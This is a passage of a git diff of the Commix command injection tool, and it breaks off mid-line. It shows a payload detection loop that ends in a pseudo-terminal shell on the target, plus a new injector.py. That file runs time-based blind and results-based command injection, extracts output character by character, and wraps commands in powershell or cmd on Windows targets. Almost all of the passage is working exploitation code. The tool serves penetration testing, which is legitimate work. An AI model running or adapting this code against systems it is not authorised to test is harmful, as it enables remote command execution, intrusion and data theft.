src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + # Calculate all possible combinations + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + for item in range(0, len(settings.EXECUTION_FUNCTIONS)): + settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" + settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS + prefixes = settings.EVAL_PREFIXES + suffixes = settings.EVAL_SUFFIXES + separators = settings.EVAL_SEPARATORS + else: + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in prefixes: + for suffix in suffixes: + for separator in separators: + if whitespace == settings.SINGLE_WHITESPACE: + whitespace = _urllib.parse.quote(whitespace) + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + settings.FILE_BASED_STATE = True + checks.check_for_stored_tamper(payload) + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + settings.CLASSIC_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + settings.EVAL_BASED_STATE = True + checks.check_for_stored_tamper(payload) + except TypeError: + checks.error_loading_session_file() + + if not settings.LOAD_SESSION: + i = i + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # The output file for file-based injection technique. + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + else: + randv1 = random.randrange(100) + randv2 = random.randrange(100) + randvcalc = randv1 + randv2 + + # Define alter shell + alter_shell = menu.options.alter_shell + try: + # File-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) + else: + payload = payloads.decision_alter_shell(separator, TAG, randv1, randv2) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) + else: + # Classic decision payload (check if host is vulnerable). + payload = payloads.decision(separator, TAG, randv1, randv2) + + vuln_parameter = "" + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + # Try target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate test results. + time.sleep(timesec) + shell = injector.injection_test_results(response, TAG, randvcalc, technique) + if settings.VERBOSITY_LEVEL == 0: + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) + else: + try: + time.sleep(timesec) + output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool: + html_data = "" + else: + html_data = checks.page_encoding(response, action="decode") + shell = re.findall(r"" + TAG + "", str(html_data)) + if len(shell) == 0 : + raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + else: + if shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: + percent = settings.info_msg + checks.injection_process(injection_type, technique, percent) + + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + percent, float_percent = checks.percentage_calculation(i, total) + if call_tmp_based == True: + exit_loops = True + tmp_path = os.path.split(menu.options.file_dest)[0] + "/" + tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + raise + # Show an error message, after N failed tries. + # Use the "/tmp/" directory for tempfile-based technique. + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + if i == total: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response) + else: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: + err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, _ = False) + + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: + err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, _ = False) + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # Delete previous shell (text) files (output) + if 'vuln_parameter' in locals(): + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except _urllib.error.URLError as e: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + warn_msg = "It seems that you don't have permissions to " + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + err_msg = str(e).replace(": "," (") + ")." + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Provide custom server's root directory. + if not menu.options.web_root: + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + continue + + except EOFError: + checks.EOFError_err_msg() + raise + + except: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + raise + else: + continue + + # Yaw, got shellz! + # Do some magic tricks! + if shell: + found = True + no_result = False + # Export session + if not settings.LOAD_SESSION: + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + cmd = maxlen = "" + if not 'url_time_response' in locals(): + url_time_response = "" + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + OUTPUT_TEXTFILE = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) \ No newline at end of file diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py new file mode 100755 index 0000000000..db0cc291ee --- /dev/null +++ b/src/core/injections/controller/injector.py @@ -0,0 +1,527 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +import time +import json +import string +import random +from src.utils import menu +from src.utils import settings +from src.core.requests import proxy +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.utils import common +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import html_parser as _html_parser +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +The main time-realative command injection exploitation. +""" +def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + if menu.options.file_write or menu.options.file_upload: + minlen = 0 + else: + minlen = 1 + + found_chars = False + info_msg = "Retrieving the length of execution output" + if settings.TEMPFILE_BASED_STATE: + info_msg += " (via '" + OUTPUT_TEXTFILE +"')" + info_msg += "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for output_length in range(int(minlen), int(maxlen)): + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if output_length > 1: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Retrieved the length of execution output: " + str(output_length) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + sub_content = "Retrieved: " + str(output_length) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + found_chars = True + injection_check = False + break + + # Proceed with the next (injection) step! + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + output = [] + percent = "0.0%" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + if settings.VERBOSITY_LEVEL == 0 : + info_msg += ".. (" + str(percent) + ")" + else: + info_msg += "\n" + if output_length > 1: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + for num_of_chars in range(1, int(num_of_chars)): + char_pool = checks.generate_char_pool(num_of_chars) + for ascii_char in char_pool: + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if settings.VERBOSITY_LEVEL == 0: + output.append(chr(ascii_char)) + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) + if percent == 100: + float_percent = settings.info_msg + else: + float_percent = ".. (" + str(float_percent) + "%)" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + info_msg += float_percent + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: + output.append(chr(ascii_char)) + injection_check = False + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + # Check for empty output. + if output == (len(output) * settings.SINGLE_WHITESPACE): + output = "" + + else: + check_start = 0 + check_exec_time = 0 + output = "" + + return check_exec_time, output + +""" +The main results-based command injection exploitation. +""" +def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + + def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + if alter_shell: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + else: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload = payloads.cmd_execution(separator, TAG, cmd) + else: + payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + if settings.VERBOSITY_LEVEL != 0: + _ = cmd + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload_msg = payload.replace("\n", "\\n") + if settings.COMMENT in payload_msg: + payload = payload.split(settings.COMMENT)[0].strip() + payload_msg = payload_msg.split(settings.COMMENT)[0].strip() + if settings.COMMENT in cmd: + _ = cmd.split(settings.COMMENT)[0].strip() + debug_msg = "Executing the '" + _ + "' command. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return response + + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + tries = 0 + while not response: + if tries < (menu.options.failed_tries / 2): + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + tries = tries + 1 + else: + err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + return response + + +""" +False-positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + found_chars = False + checks.check_for_false_positive_result(false_positive_warning) + + # Varying the sleep time. + if false_positive_warning: + timesec = timesec + random.randint(3, 5) + + # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + # Execute shell commands on vulnerable host. + if alter_shell : + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + found_chars = True + break + + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + + output = [] + percent = 0 + + is_valid = False + for num_of_chars in range(1, int(num_of_chars)): + for ascii_char in range(1, 20): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + output.append(ascii_char) + is_valid = True + break + + if is_valid: + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, output + + else: + checks.unexploitable_point() + +""" +Find the URL directory. +""" +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + + def custom_web_root(url, OUTPUT_TEXTFILE): + path = _urllib.parse.urlparse(url).path + if path.endswith('/'): + # Contract again the url. + scheme = _urllib.parse.urlparse(url).scheme + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE + else: + try: + path_parts = [non_empty for non_empty in path.split('/') if non_empty] + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + output = url.replace(last_param, OUTPUT_TEXTFILE) + if "?" and settings.OUTPUT_FILE_EXT in output: + try: + output = output.split("?")[0] + except: + pass + except IndexError: + output = url + "/" + OUTPUT_TEXTFILE + settings.DEFINED_WEBROOT = output + return output + + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: + if menu.options.web_root: + scheme = _urllib.parse.urlparse(url).scheme + hostname = _urllib.parse.urlparse(url).hostname + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True + while True: + message = "Do you want to use URL '" + output + message += "' for command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.DEFINED_WEBROOT = output + break + elif procced_option in settings.CHOICE_NO: + message = "Enter URL to use " + message += "for command execution output > " + message = common.read_input(message, default=output, check_batch=True) + if not re.search(r'^(?:http)s?://', message, re.I): + common.invalid_option(message) + pass + else: + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not settings.DEFINED_WEBROOT: + pass + else: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + else: + output = custom_web_root(url, OUTPUT_TEXTFILE) + else: + output = settings.DEFINED_WEBROOT + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking if the file '" + output + "' is accessible." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return output + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique): + if type(response) is bool and response != True or response is None: + return False + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + # Check the execution results + html_data = checks.page_encoding(response, action="decode") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + TAG + TAG, html_data) + else: + shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) + if len(shell) > 1: + shell = shell[0] + else: + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + else: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + + return shell + +""" +Command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + false_result = False + try: + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + for end_line in settings.END_LINES_LIST: + if end_line in html_data: + html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) + break + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) + if not shell: + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) + if not shell: + return shell + try: + if TAG in shell: + shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) + # Clear junks + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] + except UnicodeDecodeError: + pass + if settings.TARGET_OS == settings.OS.WINDOWS: + if menu.options.alter_shell: + shell = [right_space.rstrip() for right_space in shell] + shell = [left_space.lstrip() for left_space in shell] + if "<<<<" in shell[0]: + false_result = True + else: + if shell[0] == "%i" : + false_result = True + except AttributeError: + false_result = True + if false_result: + shell = "" + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", new_line, html_data) + shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) + try: + if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: + shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ + re.split(TAG + "(.*)" + TAG, \ + re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) + shell = shell[0].replace(new_line, "\n").rstrip().lstrip() + except IndexError: + pass + + else: + #Find the directory. + output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool and response != True or response is None: + shell = "" + else: + try: + shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] + #shell = [space.strip() for space in shell] + shell = [empty for empty in shell if empty] + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" + + return shell +# eof \ No newline at end of file diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c9c8bd5a89..c5aa1b58ea 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -33,175 +33,169 @@ def logfile_parser(): Warning message for mutiple request in same log file. """ def multi_requests(): - print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests" - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets" err_msg += " are not supported, thus all coming" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests " - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False """ Error message for invalid data. """ def invalid_data(request): - print(settings.SINGLE_WHITESPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile - elif menu.options.logfile: + + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile - - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() if not os.path.exists(request_file): - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = 